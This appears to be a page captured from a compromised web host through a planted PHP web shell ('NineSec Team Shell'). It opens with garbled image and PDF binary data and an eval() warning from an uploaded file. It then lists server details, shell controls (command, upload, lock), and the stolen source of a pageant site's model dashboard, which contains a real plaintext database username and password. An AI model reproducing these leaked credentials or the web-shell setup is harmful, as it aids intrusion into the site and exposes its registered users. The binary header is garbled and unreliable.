JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/dashboard.php
<?php
// Enable full error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

session_start();

// Check if user is logged in and is a model
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in'] || $_SESSION['user_type'] !== 'model') {
    header("Location: login.php");
    exit();
}

// Database configuration
$host = "localhost";
$user = "u178500310_cg";
$password = "Tanveer@#14321";
$dbname = "u178500310_cg";

// Create connection
$conn = new mysqli($host, $user, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Get user data
$user_id = $_SESSION['user_id'];
$user_data = [];
$model_profile = [];
$portfolio_count = 0;
$upcoming_events_count = 0;
$auditions_count = 0;
$casting_calls_count = 0;
$auditions = [];
$casting_calls = [];

// Fetch user data
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $user_id);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows === 1) {
    $user_data = $result->fetch_assoc();
} else {
    // Handle error - user not found
    session_destroy();
    header("Location: login.php");
    exit();
}

// Fetch model profile data
$stmt = $conn->prepare("SELECT * FROM model_profiles WHERE user_id = ?");
$stmt->bind_param("i", $user_id);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows === 1) {
    $model_profile = $result->fetch_assoc();
}

// Count portfolio items
$stmt = $conn->prepare("SELECT COUNT(*) as count FROM portfolio_items WHERE user_id = ?");
$stmt->bind_param("i", $user_id);
$stmt->execute();
$result = $stmt->get_result();
$portfolio_count = $result->fetch_assoc()['count'];

// Count upcoming auditions (within next 30 days)
$stmt = $conn->prepare("SELECT COUNT(*) as count FROM auditions WHERE audition_date >= CURDATE() AND audition_date <= DATE_ADD(CURDATE(), INTERVAL 30 DAY) AND is_active = 1");
$stmt->execute();
$result = $stmt->get_result();
$upcoming_events_count = $result->fetch_assoc()['count'];

// Count active auditions
$stmt = $conn->prepare("SELECT COUNT(*) as count FROM auditions WHERE is_active = 1");
$stmt->execute();
$result = $stmt->get_result();
$auditions_count = $result->fetch_assoc()['count'];

// Count active casting calls
$stmt = $conn->prepare("SELECT COUNT(*) as count FROM casting_calls WHERE is_active = 1");
$stmt->execute();
$result = $stmt->get_result();
$casting_calls_count = $result->fetch_assoc()['count'];

// Fetch upcoming auditions
$stmt = $conn->prepare("SELECT * FROM auditions WHERE audition_date >= CURDATE() AND is_active = 1 ORDER BY audition_date ASC LIMIT 5");
$stmt->execute();
$result = $stmt->get_result();
$auditions = $result->fetch_all(MYSQLI_ASSOC);

// Fetch casting calls
$stmt = $conn->prepare("SELECT * FROM casting_calls WHERE is_active = 1 ORDER BY start_date ASC LIMIT 5");
$stmt->execute();
$result = $stmt->get_result();
$casting_calls = $result->fetch_all(MYSQLI_ASSOC);

$conn->close();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Model Dashboard - Miss Chhattisagarh</title>
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        /* Your existing CSS styles remain unchanged */
        :root {
            --primary: #E83A7D;
            --secondary: #2C2C54;
            --light: #FFF5F7;
            --dark: #1A1A2E;
            --accent: #FFD700;
            --error: #dc3545;
            --success: #28a745;
            --info: #17a2b8;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Poppins', sans-serif;
            background-color: #f8f9fa;
            color: var(--dark);
            line-height: 1.6;
        }
        
        .dashboard-container {
            display: flex;
            min-height: 100vh;
        }
        
        /* Sidebar Styles */
        .sidebar {
            width: 250px;
            background: linear-gradient(to bottom, var(--primary), var(--accent));
            color: white;
            padding: 1.5rem 1rem;
            position: fixed;
            height: 100vh;
            overflow-y: auto;
            transition: all 0.3s ease;
            z-index: 1000;
        }
        
        .sidebar-header {
            text-align: center;
            padding: 1rem 0;
            margin-bottom: 2rem;
            border-bottom: 1px solid rgba(255, 255, 255, 0.2);
        }
        
        .sidebar-header h2 {
            font-family: 'Playfair Display', serif;
            font-size: 1.8rem;
        }
        
        .sidebar-menu {
            list-style: none;
            margin-top: 2rem;
        }
        
        .sidebar-menu li {
            margin-bottom: 0.5rem;
        }
        
        .sidebar-menu a {
            display: flex;
            align-items: center;
            padding: 0.8rem 1rem;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            transition: all 0.3s;
        }
        
        .sidebar-menu a:hover, .sidebar-menu a.active {
            background-color: rgba(255, 255, 255, 0.1);
        }
        
        .sidebar-menu i {
            margin-right: 10px;
            font-size: 1.2rem;
        }
        
        /* Main Content */
        .main-content {
            flex: 1;
            margin-left: 250px;
            padding: 20px;
        }
        
        /* Header */
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 1rem 1.5rem;
            background-color: white;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
            border-radius: 8px;
            margin-bottom: 20px;
        }
        
        .welcome-text h1 {
            font-family: 'Playfair Display', serif;
            color: var(--primary);
            font-size: 1.8rem;
        }
        
        .user-info {
            display: flex;
            align-items: center;
        }
        
        .user-info img {
            width: 45px;
            height: 45px;
            border-radius: 50%;
            object-fit: cover;
            margin-right: 10px;
            border: 2px solid var(--secondary);
        }
        
        /* Dashboard Cards */
        .dashboard-cards {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .card {
            background: white;
            border-radius: 10px;
            padding: 1.5rem;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.08);
            transition: transform 0.3s;
        }
        
        .card:hover {
            transform: translateY(-5px);
        }
        
        .card-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1rem;
        }
        
        .card-title {
            font-size: 1.2rem;
            color: var(--primary);
            font-weight: 600;
        }
        
        .card-icon {
            width: 50px;
            height: 50px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            background-color: rgba(139, 69, 19, 0.1);
            color: var(--primary);
            font-size: 1.5rem;
        }
        
        .card-value {
            font-size: 2rem;
            font-weight: 700;
            color: var(--dark);
            margin: 0.5rem 0;
        }
        
        .card-text {
            color: #6c757d;
            font-size: 0.9rem;
        }
        
        /* Content Sections */
        .content-section {
            background: white;
            border-radius: 10px;
            padding: 1.5rem;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.08);
            margin-bottom: 30px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1.5rem;
            padding-bottom: 0.5rem;
            border-bottom: 1px solid #eee;
        }
        
        .section-title {
            font-family: 'Playfair Display', serif;
            color: var(--primary);
            font-size: 1.5rem;
        }
        
        /* Events Table */
        .events-table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .events-table th, .events-table td {
            padding: 1rem;
            text-align: left;
            border-bottom: 1px solid #eee;
        }
        
        .events-table th {
            background-color: #f8f9fa;
            font-weight: 600;
            color: var(--primary);
        }
        
        .events-table tr:hover {
            background-color: #f8f9fa;
        }
        
        .status-badge {
            padding: 0.3rem 0.8rem;
            border-radius: 20px;
            font-size: 0.8rem;
            font-weight: 500;
        }
        
        .status-upcoming {
            background-color: rgba(23, 162, 184, 0.1);
            color: var(--info);
        }
        
        .status-completed {
            background-color: rgba(40, 167, 69, 0.1);
            color: var(--success);
        }
        
        /* Profile Section */
        .profile-container {
            display: flex;
            gap: 30px;
        }
        
        .profile-image {
            flex: 0 0 250px;
        }
        
        .profile-image img {
            width: 100%;
            border-radius: 10px;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
        }
        
        .profile-details {
            flex: 1;
        }
        
        .profile-details h3 {
            color: var(--primary);
            margin-bottom: 1rem;
            font-family: 'Playfair Display', serif;
        }
        
        .detail-row {
            display: flex;
            margin-bottom: 0.8rem;
        }
        
        .detail-label {
            flex: 0 0 150px;
            font-weight: 600;
            color: #495057;
        }
        
        .detail-value {
            flex: 1;
            color: #6c757d;
        }
        
        /* Responsive Design */
        @media (max-width: 992px) {
            .sidebar {
                width: 80px;
                padding: 1rem 0.5rem;
            }
            
            .sidebar-header h2, .sidebar-menu span {
                display: none;
            }
            
            .sidebar-menu i {
                margin-right: 0;
                font-size: 1.5rem;
            }
            
            .sidebar-menu a {
                justify-content: center;
                padding: 1rem;
            }
            
            .main-content {
                margin-left: 80px;
            }
            
            .profile-container {
                flex-direction: column;
            }
            
            .profile-image {
                align-self: center;
                max-width: 300px;
            }
        }
        
        @media (max-width: 768px) {
            .dashboard-cards {
                grid-template-columns: 1fr;
            }
            
            .header {
                flex-direction: column;
                text-align: center;
                gap: 15px;
            }
            
            .user-info {
                justify-content: center;
            }
        }
        
        @media (max-width: 576px) {
            .sidebar {
                width: 60px;
            }
            
            .main-content {
                margin-left: 60px;
                padding: 10px;
            }
            
            .card {
                padding: 1rem;
            }
        }

        .alert {
            padding: 15px;
            margin-bottom: 20px;
            border: 1px solid transparent;
            border-radius: 4px;
        }
        
        .alert-danger {
            color: #721c24;
            background-color: #f8d7da;
            border-color: #f5c6cb;
        }
        
        /* Added for smooth scrolling */
        html {
            scroll-behavior: smooth;
        }
    </style>
</head>
<body>
    <div class="dashboard-container">
        <!-- Sidebar -->
        <aside class="sidebar">
            <div class="sidebar-header">
                <h2>Miss Chhattisagarh</h2>
            </div>
            
            <ul class="sidebar-menu">
                <li><a href="./dashboard.php"><i class="fas fa-home"></i> <span>Dashboard</span></a></li>
                <li><a href="#profile-section"><i class="fas fa-user"></i> <span>Profile</span></a></li>
                <li><a href="./media.php"><i class="fas fa-share-alt"></i> <span>Add Social Media</span></a></li>
                <li><a href="./question.php" class="active"><i class="fas fa-question-circle"></i> <span>Pageant Questions</span></a></li>
                <li><a href="./logout.php"><i class="fas fa-sign-out-alt"></i> <span>Logout</span></a></li>
            </ul>
        </aside>

        <!-- Main Content -->
        <main class="main-content">
            <!-- Header -->
            <div class="header">
                <div class="welcome-text">
                    <h1>Welcome, <?php echo isset($user_data['first_name']) ? htmlspecialchars($user_data['first_name']) : 'User'; ?>!</h1>
                    <p>Model Dashboard</p>
                </div>
                <div class="user-info">
                    <img src="<?php echo isset($user_data['profile_pic']) && !empty($user_data['profile_pic']) ? htmlspecialchars($user_data['profile_pic']) : 'https://images.unsplash.com/photo-1534528741775-53994a69daeb?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=400&q=80'; ?>" alt="Profile Image">
                    <div>
                        <div><?php echo isset($user_data['first_name']) ? htmlspecialchars($user_data['first_name'] . ' ' . $user_data['last_name']) : 'User'; ?></div>
                        <small>Model</small>
                    </div>
                </div>
            </div>

            <!-- Dashboard Cards -->
            <div class="dashboard-cards">
                <div class="card">
                    <div class="card-header">
                        <h3 class="card-title">Upcoming Events</h3>
                        <div class="card-icon">
                            <i class="fas fa-calendar"></i>
                        </div>
                    </div>
                    <div class="card-value"><?php echo $upcoming_events_count; ?></div>
                    <p class="card-text">Events scheduled for this month</p>
                </div>

                <div class="card">
                    <div class="card-header">
                        <h3 class="card-title">Portfolio Items</h3>
                        <div class="card-icon">
                            <i class="fas fa-images"></i>
                        </div>
                    </div>
                    <div class="card-value"><?php echo $portfolio_count; ?></div>
                    <p class="card-text">Photos in your portfolio</p>
                </div>

                <div class="card">
                    <div class="card-header">
                        <h3 class="card-title">Auditions</h3>
                        <div class="card-icon">
                            <i class="fas fa-microphone"></i>
                        </div>
                    </div>
                    <div class="card-value"><?php echo $auditions_count; ?></div>
                    <p class="card-text">Active audition calls</p>
                </div>

                <div class="card">
                    <div class="card-header">
                        <h3 class="card-title">Casting Calls</h3>
                        <div class="card-icon">
                            <i class="fas fa-clipboard-list"></i>
                        </div>
                    </div>
                    <div class="card-value"><?php echo $casting_calls_count; ?></div>
                    <p class="card-text">Available casting opportunities</p>
                </div>
            </div>

            <!-- Upcoming Events Section -->
            <div class="content-section">
                <div class="section-header">
                    <h2 class="section-title">Upcoming Auditions</h2>
                    <a href="auditions.php" class="view-all">View All</a>
                </div>
                
                <table class="events-table">
                    <thead>
                        <tr>
                            <th>Event Name</th>
                            <th>Date</th>
                            <th>Location</th>
                            <th>Status</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if (!empty($auditions)): ?>
                            <?php foreach ($auditions as $audition): ?>
                                <tr>
                                    <td><?php echo htmlspecialchars($audition['title']); ?></td>
                                    <td><?php echo htmlspecialchars($audition['audition_date']); ?></td>
                                    <td><?php echo htmlspecialchars($audition['location']); ?></td>
                                    <td><span class="status-badge status-upcoming">Upcoming</span></td>
                                </tr>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <tr>
                                <td colspan="4" style="text-align: center;">No upcoming auditions found.</td>
                            </tr>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>

            <!-- Casting Calls Section -->
            <div class="content-section">
                <div class="section-header">
                    <h2 class="section-title">Casting Calls</h2>
                    <a href="./casting_call.php" class="view-all">View All</a>
                </div>
                
                <table class="events-table">
                    <thead>
                        <tr>
                            <th>Title</th>
                            <th>Location</th>
                            <th>Start Date</th>
                            <th>Status</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if (!empty($casting_calls)): ?>
                            <?php foreach ($casting_calls as $casting): ?>
                                <tr>
                                    <td><?php echo htmlspecialchars($casting['title']); ?></td>
                                    <td><?php echo htmlspecialchars($casting['location']); ?></td>
                                    <td><?php echo htmlspecialchars($casting['start_date']); ?></td>
                                    <td><span class="status-badge status-upcoming">Active</span></td>
                                </tr>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <tr>
                                <td colspan="4" style="text-align: center;">No casting calls found.</td>
                            </tr>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>

            <!-- Profile Section -->
            <div id="profile-section" class="content-section">
                <div class="section-header">
                    <h2 class="section-title">My Profile</h2>
                    <a href="edit_profile.php?id=<?= $user_data['id'] ?>" class="view-all">Edit Profile</a>
                </div>
                
                <div class="profile-container">
                    <div class="profile-image">
                        <img src="<?php echo isset($user_data['profile_pic']) && !empty($user_data['profile_pic']) ? htmlspecialchars($user_data['profile_pic']) : 'https://images.unsplash.com/photo-1534528741775-53994a69daeb?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=400&q=80'; ?>" alt="Profile Image">
                    </div>
                    <div class="profile-details">
                        <h3>Personal Information</h3>
                        
                        <div class="detail-row">
                            <div class="detail-label">Full Name:</div>
                            <div class="detail-value"><?php echo htmlspecialchars($user_data['first_name'] . ' ' . $user_data['last_name']); ?></div>
                        </div>
                        
                        <div class="detail-row">
                            <div class="detail-label">Username:</div>
                            <div class="detail-value"><?php echo htmlspecialchars($user_data['username']); ?></div>
                        </div>
                        
                        <div class="detail-row">
                            <div class="detail-label">Email:</div>
                            <div class="detail-value"><?php echo htmlspecialchars($user_data['email']); ?></div>
                        </div>
                        
                        <div class="detail-row">
                            <div class="detail-label">Location:</div>
                            <div class="detail-value"><?php echo htmlspecialchars($user_data['location']); ?></div>
                        </div>
                        
                        <div class="detail-row">
                            <div class="detail-label">Bio:</div>
                            <div class="detail-value"><?php echo htmlspecialchars($user_data['bio']); ?></div>
                        </div>
                        
                        <div class="detail-row">
                            <div class="detail-label">Languages:</div>
                            <div class="detail-value"><?php echo htmlspecialchars($user_data['languages']); ?></div>
                        </div>
                        
                        <?php if (!empty($model_profile)): ?>
                            <h3 style="margin-top: 20px;">Model Details</h3>
                            
                            <div class="detail-row">
                                <div class="detail-label">Height:</div>
                                <div class="detail-value"><?php echo htmlspecialchars($model_profile['height']); ?> cm</div>
                            </div>
                            
                            <div class="detail-row">
                                <div class="detail-label">Weight:</div>
                                <div class="detail-value"><?php echo htmlspecialchars($model_profile['weight']); ?> kg</div>
                            </div>
                            
                            <div class="detail-row">
                                <div class="detail-label">Bust:</div>
                                <div class="detail-value"><?php echo htmlspecialchars($model_profile['bust']); ?> cm</div>
                            </div>
                            
                            <div class="detail-row">
                                <div class="detail-label">Waist:</div>
                                <div class="detail-value"><?php echo htmlspecialchars($model_profile['waist']); ?> cm</div>
                            </div>
                            
                            <div class="detail-row">
                                <div class="detail-label">Hips:</div>
                                <div class="detail-value"><?php echo htmlspecialchars($model_profile['hips']); ?> cm</div>
                            </div>
                            
                            <div class="detail-row">
                                <div class="detail-label">Hair Color:</div>
                                <div class="detail-value"><?php echo htmlspecialchars($model_profile['hair_color']); ?></div>
                            </div>
                            
                            <div class="detail-row">
                                <div class="detail-label">Eye Color:</div>
                                <div class="detail-value"><?php echo htmlspecialchars($model_profile['eye_color']); ?></div>
                            </div>
                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </main>
    </div>

    <script>
        // Simple JavaScript for interactive elements
        document.addEventListener('DOMContentLoaded', function() {
            // Highlight active menu item
            const menuItems = document.querySelectorAll('.sidebar-menu a');
            menuItems.forEach(item => {
                item.addEventListener('click', function() {
                    menuItems.forEach(i => i.classList.remove('active'));
                    this.classList.add('active');
                });
            });
            
            // Simulate loading data
            setTimeout(() => {
                document.querySelectorAll('.card').forEach(card => {
                    card.style.opacity = '1';
                    card.style.transform = 'translateY(0)';
                });
            }, 300);
        });
    </script>
</body>
</html>

NineSec Team - 2022